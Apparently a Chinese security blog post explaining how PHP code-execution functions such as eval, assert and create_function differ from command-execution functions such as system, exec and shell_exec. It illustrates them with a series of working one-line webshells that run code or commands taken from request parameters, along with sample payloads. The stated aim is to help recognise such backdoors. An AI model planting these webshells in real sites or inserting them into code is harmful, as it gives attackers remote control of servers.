PHP后门的eval类和system类 函数到底有哪些区别
一、
一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。
二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)
1、简单类
//#1-eval
<?php
eval($_POST["cmd"])
?>
//post:cmd=phpinfo(); //#2-assert
<?php
assert($_POST["cmd"])
?>
//post:cmd=phpinfo(); //#3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();
2、复杂类
//#1-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo(); //#2-array_map------->这个不懂先记下来
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
三、PHP的system类型函数,一句话:命令执行而不是代码执行。
//#1-system
<?php system($_POST["cmd"]);?> //#2-passthru
<?php passthru($_POST["cmd"]);?> //#3-exec
<?php echo exec($_POST["cmd"]);?> //#4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?> //#5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?> //#6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?> //#7-``
<?php echo `whoami`?>
高深一点的:
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>//?a=whoami
PHP后门的eval类和system类 函数到底有哪些区别的更多相关文章
- Java常用类之【Math类、Random类、System类、Runtime类】
一.Math类 Math类 [绝对值]Math.abs();//返回对应类型的绝对值 [最大值和最小值]Math.max(int a, int b) ,Math.min(int a,int b);(其 ...
- 14-02 Java Math类,Random类,System类,BigDecimal类
Math类 Math的方法 package cn.itcast_01; /* * Math:用于数学运算的类. * 成员变量: * public static final double PI * pu ...
- 正则表达式、Calendar类、SimpleDateFormat类、Date类、BigDecimal类、BigInteger类、System类、Random类、Math类(Java基础知识十四)
1.正则表达式的概述和简单使用 * A:正则表达式(一个字符串,是规则) * 是指一个用来描述或者匹配一系列符合某个语法规则的字符串的单个字符串.其实就是一种规则.有自己特殊的应用. * B: ...
- Object类、日期时间类、system类及StringBuilder字符串容器
一.Object类常用API 1.1 概述 java.lang.Object类是Java语言中的根类,即所有类的父类.Object类中描述的所有方法子类都可以使用.在对象实例化的时候,最终找的父类就是 ...
- 01 语言基础+高级:1-5 常用API第二部分_day01.【Object类、常用API: Date类、System类、StringBuilder类】
day01[Object类.常用API] 主要内容 Object类 Date类 DateFormat类 Calendar类 System类 StringBuilder类 包装类 java.lang.O ...
- 日期类&&包装类&&System类&&Math类&&Arrays数组类&&大数据类
day 07 日期类 Date 构造函数 Date():返还当前日期. Date(long date):返还指定日期 date:时间戳--->距离1970年1月1日 零时的毫秒数 常用方法 日期 ...
- java_Object类、日期时间类、System类、包装类
Object类 java.lang.Object 类是所有类的父类.它描述的所有方法子类都可以使用.在对象实例化的时候,最终找的父类就是Object. 如果一个类没有特别指定父类, 那么默认则继承自O ...
- Calendar类、 System类、 StringBulider类、 包装类
Calendar类 概念 java . util . Calendar 日历类,抽象类,在Date类后出现的,替换掉了很多Date类中的方法.该类将所有的可能用到的时间信息封装为静态成员变量. ...
- Object类、Date类、Calendar类、System类、StringBuilder类和基本类型包装类
一.Object类--toString方法 1.普通类重写toString方法,不然打印出来是存在栈内存的对象引用名称的堆内存中该对象的地址值: 2.equals方法: String比较equals是 ...
随机推荐
- Ajax-ajax实例3-动态树形列表
项目结构: 项目演示: 技术要点: 1.3.2 技术要点在基本原理的介绍中,了解到通过在父节点内动态创建子节点,并利用样式表缩进完成树形列表的基本框架.除了这一点外,还有下面一些问题需要考虑.1 .将 ...
- 微信分享SDK
网址:http://www.8ru.org/weixin-js-sdk.html 下载demo:http://demo.open.weixin.qq.com/jssdk
- HTML坦克大战学习02---坦克动起来
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <t ...
- JS三大经典变量命名法
匈牙利命名法: 通过在变量名前面添加相应小写字母的符号标示作为前缀,标示出变量的作用域,类型等,前缀后面是一个或多个单词组合,单词描述了变量的用途,如i表示的是整数,s表示的是字符串.示例: var ...
- 用R作Polar图等
用R作如下的各国Gini系数的Polar barChart: 作上图的R代码为: library(ggplot2) GiniData<- read.csv('IncomeInequality.c ...
- YARN : Architecture of Next Generation Apache Hadoop MapReduceFramework
转自:http://blog.csdn.net/colorant/article/details/9146201 == 目标问题 == 下一代的Hadoop框架,支持10,000+节点规模的Hadoo ...
- jvm载入过程
类载入过程 类从被载入到虚拟机内存中開始,到卸载出内存为止,它的整个生命周期包含:载入.验证.准备.解析.初始化.使用和卸载七个阶段.它们開始的顺序例如以下图所看到的: 当中类载入的过程包含了载入.验 ...
- R read.table函数的check.names参数
今天用cummeRbund 对cuffdiff的结果进行可视化, 一直报错,之前跑的好好的,找了半天原因, 原来出现在read.table这个函数上: read.table有一个参数check.nam ...
- 【Java面试题】20 运行时异常和一般异常有何区别
Throwable 是所有 Java 程序中错误处理的父类 ,有两种资类: Error 和 Exception . Error :表示由 JVM 所侦测到的无法预期的错误,由于这是属于 JVM 层次的 ...
- 几个shell程序设计小知识(shell常识部分)
[转自]http://blog.chinaunix.net/uid-168249-id-2860686.html 引用:一.用户登陆进入系统后的系统环境变量: $HOME 使用者自己的目录 $PA ...